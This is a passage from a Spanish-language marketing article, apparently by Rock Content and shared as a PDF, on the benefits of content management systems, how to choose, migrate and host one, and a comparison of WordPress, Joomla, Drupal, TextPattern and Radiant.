 optimización de imágenes para que tus contenidos también puedan ser encontrados mediante búsquedas visuales;
 uso estratégico de palabras clave, especialmente long tail;
 estructuración de los contenidos para que puedan ser consumidos de una manera agradable para, de esa forma, aumentar el tiempo de permanencia de
los navegantes.
Es muy importante que cada página del sitio web reciba este trabajo, con gran atención.
Si tu página es compleja, creada con un software específico, puede ser bastante difícil mantener esta optimización correctamente, aún
más si el sitio está en crecimiento.
Con el CMS, esto se puede hacer de una manera muy sencilla y práctica. Unos minutos bien trabajados al día pueden ser suficientes para
que tus páginas aparezcan en las primeras posiciones de la búsqueda orgánica, sin tener que invertir ni un centavo en enlaces
patrocinados.
5. Versatilidad para proyectos de todo tipo y tamaño
Sin importar cómo imaginas tu sitio, es probable que lo consigas sin mayores problemas con un buen CMS.
¿Quieres crear un blog para publicar contenidos relevante todas las semanas o, tal vez, necesitas crear un ecommerce integrado con
múltiples funciones? ¡Sin problemas!
Y esas son solo algunas de las posibilidades. Puedes crear áreas de miembros, landing pages e incluso crear un tipo de red social, según
tu objetivo.
Este es otro beneficio de un CMS: logra darle soporte a diferentes proyectos de diferentes tamaños con la misma estructura y
funcionamiento interno.

Todo lo que necesitas hacer es configurar las características que ofrece la plataforma de tu elección de acuerdo con las necesidades del
proyecto.
6. Buena velocidad de carga
Otro gran beneficio de tener una solución CMS es que generalmente contribuye a aumentar la velocidad de carga de la página. Este
elemento es crucial para ofrecer una buena experiencia al consumidor, ¡sin mencionar que es un factor considerado en el ranking SEO!
Cuanto más tarde en cargarse, y estamos hablando de diferencias de segundos, mayores serán las posibilidades de que
el lead salga de la página y busque otra opción en Internet.
Por eso, es muy importante que siempre monitorees el tiempo de carga de tus páginas, buscando optimizarlo. Esto es aún más importante
en los dispositivos móviles, que han recibido una atención especial por parte de Google con el nuevo modelo de clasificación.
Conocido como Mobile-First Index, prioriza las páginas que se cargan rápidamente en los dispositivos móviles. Afortunadamente, los CMS
de última generación ya son totalmente compatibles con los sitios Mobile First.
Descubre qué tan rápida es tu página web con Stage Analyzer, la herramienta gratuita que creamos para que analices tu desempeño:
[rock_performance lang="es"]
7. Bajos costos de actualización y mantenimiento
Por último, pero no menos importante, no debemos olvidarnos de los costos de mantenimiento. Imagina que construyes tu sitio web con
un programador específico, en un lenguaje complejo que pocos profesionales dominan en todo el mercado.
¿Puedes ver cómo puede hacer que sea más caro mantener la estructura en funcionamiento y siempre actualizada? Después de todo, la
escasez de ese conocimiento técnico específico le permitirá cobrarte más por el servicio.
Con un CMS, sin embargo, todo es más económico, desde la implementación hasta la actualización y el mantenimiento.
El software utilizado, en general, es gratuito, ya que la mayoría de los CMS son creados por programadores de todo el mundo, que
trabajan de forma colaborativa.

Claro que puedes contratar a un desarrollador o diseñador para adaptar el sitio web a tus necesidades y dejarlo 100% personalizado.
Pero si ya tienes un CMS el trabajo será mucho más simple y barato, pues la diferencia de valores está en la actualización y
mantenimiento, lo que convierte al CMS en una opción mucho más ventajosa en términos económicos.
¿Cómo elegir un CMS?
La tarea de elegir un CMS puede ser un poco confusa debido a la cantidad de opciones disponibles en el mercado y la similitud entre lo
que ofrecen.
Cuando consideras 10 opciones y todas prometen cosas similares, ¿cuál elegir? Lo cierto es que necesitas pocos elementos para tomar
tu decisión.
Para que no tengas dudas a la hora de elegir hazte las siguientes preguntas:
¿Cuál es el historial del sistema?
Averigua si la comunidad de usuarios es grande y activa, si el sistema tiene una buena reputación y cuáles son los comentarios sobre el
soporte técnico.
¿Cuál es la propuesta básica del sistema?
Si el enfoque central del CMS en cuestión es muy diferente de lo que estás buscando, no dudes y busca otra opción. (Ejemplo: quieres un
blog y encuentras un CMS para ecommerce).
¿Cómo es la experiencia de uso?

No tiene sentido tener el mejor CMS, en teoría, pero que no disfrutes la experiencia de usarlo todos los días. Prueba y observa qué funciona
para tu empresa.
Aquí en Rock tenemos nuestro CMS favorito: WordPress. Es el más utilizado en el mundo y tiene soluciones para todo tipo de proyectos.
Pero eso no debería impedirte investigar otras opciones y elegir la que creas que es mejor.
¿Cómo migrar tu CMS?
¿Qué hacer si ya tienes un CMS en uso y percibes que tiene más sentido utilizar otra solución? La respuesta es: migrar a un nuevo CMS.
Y si te está preguntando cómo hacer esto, no te daremos un paso a paso porque no tenemos forma de hacerlo aquí.
La cantidad de opciones de CMS es inmensa, por lo que es imposible saber cuál usa hoy y a cuál desea migrar.
Pero solo hay 2 reglas de oro para migrar CMS:
1. haz una copia de seguridad de tu información y bases de datos: si todo sale mal podrás restaurar tu sitio al antiguo CMS con la base de
datos 100% preservada.
2. Busca el soporte del nuevo CMS: en general, la documentación de un CMS líder y con buena reputación es muy buena, así como su
comunidad de miembros. Estos dos elementos te pueden orientar para que realices la migración sin problemas.
¿Cómo evaluar el mejor hosting para CMS?
Por supuesto, el CMS no es el único elemento importante en el mantenimiento de tu sitio web. El hospedaje también tiene un papel
destacado en esto, porque si el hospedaje no es compatible con el CMS que elegiste no podrás utilizarlo.
Y una vez más llegamos a la cuestión del número de opciones disponibles. No podremos analizarlos uno por uno en este artículo, pero sí
podemos brindarte un paso a paso muy simple para orientarte en tu elección:
 decide primero qué tipo de hosting quieres. Existen 4: servidor compartido, en la nube, VPS y dedicado;

 acorta la lista de opciones de las empresas mejor calificadas de la industria, que son compatibles con el CMS que estás buscando;
 compara recursos, servicios y precios entre los “finalistas” de tu selección.
¿Cuáles son las diferencias entre CMS, WCM, ECM,
DAM y DXP?
El CMS es un sistema que cubre varios tipos de software y cada uno fue diseñado para satisfacer diferentes necesidades.
Por lo tanto, te mostraremos a continuación algunas de estas subcategorías y sus diferencias.
WCM - Web Content Management
WCM es un software que se utiliza para crear, administrar, almacenar y mostrar contenidos en páginas web.
Tiene la capacidad de diseñar y organizar sitios web para que los contenidos estén siempre actualizados y sean de fácil acceso en cualquier
momento.
Además, permite el control y preparación de contenidos para su publicación, posibilitando la evaluación y aprobación antes de su
divulgación. WCM también permite la automatización de contenidos para publicación, generando un mejor desempeño.
ECM - Enterprise Content Management
ECM es la tecnología detrás de la captura, gestión, preservación y distribución de contenidos y documentos relacionados con los procesos
de la empresa.

Las herramientas y estrategias de ECM te permiten estructurar la información de las organizaciones durante su existencia. Entre estas
herramientas se encuentran WCM, que acabamos de ver, y DAM, del que aprenderemos a continuación.
DAM - Digital Asset Management
DAM es un concepto muy similar al anterior. La principal diferencia es que, mientras un ECM trabaja en la gestión de archivos en general,
un DAM tiene un enfoque más especializado y se utiliza principalmente en el manejo de rich media, como videos, audios, imágenes, entre
otros.
Por lo tanto, es la mejor opción si necesitas una solución que concentre de manera eficiente los archivos multimedia.
DXP - Plataforma de experiencia digital
Con el creciente número de canales de acceso de clientes, crear estrategias de integración entre ellos para mejorar la experiencia de
compra ya no es una opción.
El sistema DXP hace que esto sea una realidad y permite vivir el mismo sentimiento en cualquier punto de interacción con la empresa, lo
que refuerza la identidad de marca.
Estamos hablando de una plataforma diseñada para crear y ofrecer experiencias integradas y optimizadas para el usuario. Esto debe
suceder en varios canales y siempre tener en cuenta no solo las preferencias del cliente, sino también todo el ciclo de vida del cliente.
¿Cuáles son los mejores CMS del mercado?
Ahora que ya sabes qué es un sistema de gestión de contenidos, vamos a mostrarte cuáles son las principales opciones del mercado.
Como ya se dijo, comencemos con nuestra recomendación, WordPress:

WordPress
WordPress es la plataforma CMS más utilizada en el mundo. Pero no es por eso que nos gusta tanto. Para empezar, esta es una opción
gratuita, utilizada para blogs, tiendas online y muchos otros proyectos.
Hay varios recursos adicionales, como plugins y templates para que los usuarios puedan personalizar la solución de acuerdo con sus
necesidades y estrategias comerciales.
Una de las grandes ventajas de WordPress es su comunidad activa. Hay miles de programadores que tienen los conocimientos necesarios
para mantener actualizado el sistema y perfeccionarlo constantemente.
A pesar de esto, nunca dejes de prestarle atención a la seguridad. Como es una solución de código abierto, las personas malintencionadas
pueden buscar lagunas en el sistema para atacar información confidencial. Te recomendamos disponer de recursos extra para garantizar
tu seguridad.
Joomla
Otra gran opción de CMS es Joomla, utilizado por grandes empresas y marcas. Entre ellos se encuentra la aclamada Universidad de
Harvard en Estados Unidos.
Al igual que WordPress, es un sistema gratuito basado en PHP que tiene numerosas características adicionales.
Aunque la comunidad y el soporte no son tan expresivos como en el caso anterior, Joomla es una alternativa sólida y confiable.
Drupal
Es el elegido por el gobierno de los Estados Unidos. Así es, el gobierno norteamericano optó por Drupal como su CMS para administrar
contenidos. La plataforma trabaja en módulos que interactúan entre sí, lo que permite un alto poder de personalización del sistema.
Una de las ventajas de WordPress (amplia comunidad de programadores con conocimientos en el sistema) también se aplica con Drupal.

TextPattern
Cualquiera que esté pensando en crear páginas simples y buscar una carga de alta velocidad debería considerar TextPattern como una
de las principales opciones.
No es tan bueno como las opciones mostradas anteriormente en la cuestión de la variedad de templates listos para usar, pero tiene varios
recursos adicionales disponibles.
Radiant
Por último, no podemos olvidarnos de Radiant, un sistema de gestión de licencias y contenidos basado en Ruby y que es más adecuado
para proyectos de pequeño porte.
Tiene un lenguaje propio, muy cercano al HTML y ofrece buenas opciones para plugins.
¿Por qué las empresas deberían adoptar un CMS?
El entorno virtual es cada día más competitivo entre las empresas.
Los emprendedores y los responsables de las organizaciones deben buscar siempre nuevas formas de mejorar la experiencia de los
usuarios en sus sitios web y aportar nuevos recursos, manteniendo una buena gestión de las acciones.
Estos objetivos se logran con más facilidad si usamos un CMS. Existen varias opciones en el mercado y es muy importante entender que
su elección no puede realizarse de cualquier manera. El gran desafío para las empresas es alinear la necesidad con los recursos
disponibles.
En marketing no existen las plataformas para uso general, todas las herramientas siempre están en función de demandas específicas de
una empresa para atender a su público y ofrecer las soluciones adecuadas.
Por lo tanto es crucial elegir el CMS con las características más adecuadas para tu negocio.

Programación de Aplicaciones Web.pdf

Programación de Aplicaciones Web.pdf

Recomendados

Recomendados

Más contenido relacionado

Similar a Programación de Aplicaciones Web.pdf

Similar a Programación de Aplicaciones Web.pdf (20)

Último

Último (20)

Programación de Aplicaciones Web.pdf